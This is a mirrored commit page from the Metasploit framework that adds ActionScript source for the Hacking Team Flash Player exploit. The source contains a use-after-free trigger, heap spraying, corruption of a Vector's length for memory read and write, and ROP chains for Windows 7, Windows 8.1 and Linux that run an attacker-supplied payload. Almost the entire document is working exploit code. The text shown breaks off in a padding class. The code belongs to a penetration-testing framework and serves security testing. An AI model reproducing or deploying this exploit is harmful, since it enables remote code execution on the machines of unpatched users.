1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-02 07:40:19 +02:00

Add module for hacking team flash exploit

This commit is contained in:
jvazquez-r7 2015-07-07 11:19:48 -05:00
parent 0a4c6fb92f
commit d9aacf2d41
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
12 changed files with 1295 additions and 0 deletions

Binary file not shown.

235
external/source/exploits/hacking_team/Elf.as vendored Executable file
View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,37 @@
package
{
import flash.display.Sprite
import flash.events.Event
import mx.utils.Base64Decoder
import flash.display.LoaderInfo
import flash.utils.ByteArray
public class Exploit extends Sprite
{
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
public function Exploit():void
{
//trace("Got to checkpoint 0");
if (stage) init();
else addEventListener(Event.ADDED_TO_STAGE, init);
}
private function init(e:Event = null):void
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
removeEventListener(Event.ADDED_TO_STAGE, init);
MyClass.TryExpl(this, platform, os, payload)
}
}
}

View File

@ -0,0 +1,85 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

View File

@ -0,0 +1,75 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint
public function ExploitVector(v:Vector.<uint>, length:uint)
{
uv = v
original_length = length
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,399 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(90000)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv, uv_length)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

View File

@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

View File

@ -0,0 +1,93 @@
package
{
import flash.display.DisplayObjectContainer;
import flash.utils.ByteArray;
import flash.system.Capabilities;
import flash.events.MouseEvent;
import flash.external.ExternalInterface;
public class MyClass
{
static var
_gc:Array,
_va:Array,
_ba:ByteArray,
_isDbg:Boolean = Capabilities.isDebugger;
// define malicious valueOf()
prototype.valueOf = function ()
{
Logger.log("MyClass.valueOf()");
_va = new Array(5);
_gc.push(_va); // protect from GC // for RnD
// reallocate _ba storage
_ba.length = 0x1100;
// reuse freed memory
for(var i:int; i < _va.length; i++)
_va[i] = new Vector.<uint>(0x3f0);
// return one byte for overwriting
return 0x40;
}
// try to corrupt the length value of Vector.<uint>
static function TryExpl(e:Exploit, platform:String, os:String, payload:ByteArray) : Boolean
{
Logger.log("tryexpl")
try
{
var alen:int = 90; // should be multiply of 3
var a = new Array(alen);
if (_gc == null) _gc = new Array();
_gc.push(a); // protect from GC // for RnD
// try to allocate two sequential pages of memory: [ ByteArray ][ MyClass2 ]
for(var i:int; i < alen; i+=3){
a[i] = new MyClass2(i);
a[i+1] = new ByteArray();
a[i+1].length = 0xfa0;
a[i+2] = new MyClass2(i+2);
}
// find these pages
var v:Vector.<uint>;
for(i=alen-5; i >= 0; i-=3)
{
// take next allocated ByteArray
_ba = a[i];
// call valueOf() and cause UaF memory corruption
_ba[3] = new MyClass();
// _ba[3] should be unchanged 0
Logger.log("_ba[3] = " + _ba[3]);
if (_ba[3] != 0) throw new Error("can't cause UaF");
// check results // find corrupted vector
for(var j:int=0; j < _va.length; j++){
v = _va[j];
if (v.length != 0x3f0) {
Logger.log("v.length = 0x" + v.length.toString(16));
var exploiter:Exploiter = new Exploiter(e, platform, os, payload, v, 0x3f0)
Logger.log("v.length = 0x" + v.length.toString(16));
return true
}
}
}
Logger.log("bad allocation. try again.");
}
catch (e:Error)
{
Logger.log("TryExpl() " + e.toString());
}
return false;
}
}
}

View File

@ -0,0 +1,9 @@
package
{
import flash.utils.ByteArray;
class MyClass1 extends ByteArray
{
var o1:Object, o2:Object, o3:Object, o4:Object;
}
}

View File

@ -0,0 +1,115 @@
package
{
class MyClass2 extends MyClass1
{
var
// enlarge the MyClass2 size by dummy attributes
a0 :uint, a1 :uint, a2 :uint, a3 :uint, a4 :uint, a5 :uint, a6 :uint, a7 :uint, a8 :uint, a9 :uint,
a10:uint, a11:uint, a12:uint, a13:uint, a14:uint, a15:uint, a16:uint, a17:uint, a18:uint, a19:uint,
a20:uint, a21:uint, a22:uint, a23:uint, a24:uint, a25:uint, a26:uint, a27:uint, a28:uint, a29:uint,
a30:uint, a31:uint, a32:uint, a33:uint, a34:uint, a35:uint, a36:uint, a37:uint, a38:uint, a39:uint,
a40:uint, a41:uint, a42:uint, a43:uint, a44:uint, a45:uint, a46:uint, a47:uint, a48:uint, a49:uint,
a50:uint, a51:uint, a52:uint, a53:uint, a54:uint, a55:uint, a56:uint, a57:uint, a58:uint, a59:uint,
a60:uint, a61:uint, a62:uint, a63:uint, a64:uint, a65:uint, a66:uint, a67:uint, a68:uint, a69:uint,
a70:uint, a71:uint, a72:uint, a73:uint, a74:uint, a75:uint, a76:uint, a77:uint, a78:uint, a79:uint,
a80:uint, a81:uint, a82:uint, a83:uint, a84:uint, a85:uint, a86:uint, a87:uint, a88:uint, a89:uint,
a90:uint, a91:uint, a92:uint, a93:uint, a94:uint, a95:uint, a96:uint, a97:uint, a98:uint, a99:uint,
a100:uint, a101:uint, a102:uint, a103:uint, a104:uint, a105:uint, a106:uint, a107:uint, a108:uint, a109:uint,
a110:uint, a111:uint, a112:uint, a113:uint, a114:uint, a115:uint, a116:uint, a117:uint, a118:uint, a119:uint,
a120:uint, a121:uint, a122:uint, a123:uint, a124:uint, a125:uint, a126:uint, a127:uint, a128:uint, a129:uint,
a130:uint, a131:uint, a132:uint, a133:uint, a134:uint, a135:uint, a136:uint, a137:uint, a138:uint, a139:uint,
a140:uint, a141:uint, a142:uint, a143:uint, a144:uint, a145:uint, a146:uint, a147:uint, a148:uint, a149:uint,
a150:uint, a151:uint, a152:uint, a153:uint, a154:uint, a155:uint, a156:uint, a157:uint, a158:uint, a159:uint,
a160:uint, a161:uint, a162:uint, a163:uint, a164:uint, a165:uint, a166:uint, a167:uint, a168:uint, a169:uint,
a170:uint, a171:uint, a172:uint, a173:uint, a174:uint, a175:uint, a176:uint, a177:uint, a178:uint, a179:uint,
a180:uint, a181:uint, a182:uint, a183:uint, a184:uint, a185:uint, a186:uint, a187:uint, a188:uint, a189:uint,
a190:uint, a191:uint, a192:uint, a193:uint, a194:uint, a195:uint, a196:uint, a197:uint, a198:uint, a199:uint,
a200:uint, a201:uint, a202:uint, a203:uint, a204:uint, a205:uint, a206:uint, a207:uint, a208:uint, a209:uint,
a210:uint, a211:uint, a212:uint, a213:uint, a214:uint, a215:uint, a216:uint, a217:uint, a218:uint, a219:uint,
a220:uint, a221:uint, a222:uint, a223:uint, a224:uint, a225:uint, a226:uint, a227:uint, a228:uint, a229:uint,
a230:uint, a231:uint, a232:uint, a233:uint, a234:uint, a235:uint, a236:uint, a237:uint, a238:uint, a239:uint,
a240:uint, a241:uint, a242:uint, a243:uint, a244:uint, a245:uint, a246:uint, a247:uint, a248:uint, a249:uint,
a250:uint, a251:uint, a252:uint, a253:uint, a254:uint, a255:uint, a256:uint, a257:uint, a258:uint, a259:uint,
a260:uint, a261:uint, a262:uint, a263:uint, a264:uint, a265:uint, a266:uint, a267:uint, a268:uint, a269:uint,
a270:uint, a271:uint, a272:uint, a273:uint, a274:uint, a275:uint, a276:uint, a277:uint, a278:uint, a279:uint,
a280:uint, a281:uint, a282:uint, a283:uint, a284:uint, a285:uint, a286:uint, a287:uint, a288:uint, a289:uint,
a290:uint, a291:uint, a292:uint, a293:uint, a294:uint, a295:uint, a296:uint, a297:uint, a298:uint, a299:uint,
a300:uint, a301:uint, a302:uint, a303:uint, a304:uint, a305:uint, a306:uint, a307:uint, a308:uint, a309:uint,
a310:uint, a311:uint, a312:uint, a313:uint, a314:uint, a315:uint, a316:uint, a317:uint, a318:uint, a319:uint,
a320:uint, a321:uint, a322:uint, a323:uint, a324:uint, a325:uint, a326:uint, a327:uint, a328:uint, a329:uint,
a330:uint, a331:uint, a332:uint, a333:uint, a334:uint, a335:uint, a336:uint, a337:uint, a338:uint, a339:uint,
a340:uint, a341:uint, a342:uint, a343:uint, a344:uint, a345:uint, a346:uint, a347:uint, a348:uint, a349:uint,
a350:uint, a351:uint, a352:uint, a353:uint, a354:uint, a355:uint, a356:uint, a357:uint, a358:uint, a359:uint,
a360:uint, a361:uint, a362:uint, a363:uint, a364:uint, a365:uint, a366:uint, a367:uint, a368:uint, a369:uint,
a370:uint, a371:uint, a372:uint, a373:uint, a374:uint, a375:uint, a376:uint, a377:uint, a378:uint, a379:uint,
a380:uint, a381:uint, a382:uint, a383:uint, a384:uint, a385:uint, a386:uint, a387:uint, a388:uint, a389:uint,
a390:uint, a391:uint, a392:uint, a393:uint, a394:uint, a395:uint, a396:uint, a397:uint, a398:uint, a399:uint,
a400:uint, a401:uint, a402:uint, a403:uint, a404:uint, a405:uint, a406:uint, a407:uint, a408:uint, a409:uint,
a410:uint, a411:uint, a412:uint, a413:uint, a414:uint, a415:uint, a416:uint, a417:uint, a418:uint, a419:uint,
a420:uint, a421:uint, a422:uint, a423:uint, a424:uint, a425:uint, a426:uint, a427:uint, a428:uint, a429:uint,
a430:uint, a431:uint, a432:uint, a433:uint, a434:uint, a435:uint, a436:uint, a437:uint, a438:uint, a439:uint,
a440:uint, a441:uint, a442:uint, a443:uint, a444:uint, a445:uint, a446:uint, a447:uint, a448:uint, a449:uint,
a450:uint, a451:uint, a452:uint, a453:uint, a454:uint, a455:uint, a456:uint, a457:uint, a458:uint, a459:uint,
a460:uint, a461:uint, a462:uint, a463:uint, a464:uint, a465:uint, a466:uint, a467:uint, a468:uint, a469:uint,
a470:uint, a471:uint, a472:uint, a473:uint, a474:uint, a475:uint, a476:uint, a477:uint, a478:uint, a479:uint,
a480:uint, a481:uint, a482:uint, a483:uint, a484:uint, a485:uint, a486:uint, a487:uint, a488:uint, a489:uint,
a490:uint, a491:uint, a492:uint, a493:uint, a494:uint, a495:uint, a496:uint, a497:uint, a498:uint, a499:uint,
a500:uint, a501:uint, a502:uint, a503:uint, a504:uint, a505:uint, a506:uint, a507:uint, a508:uint, a509:uint,
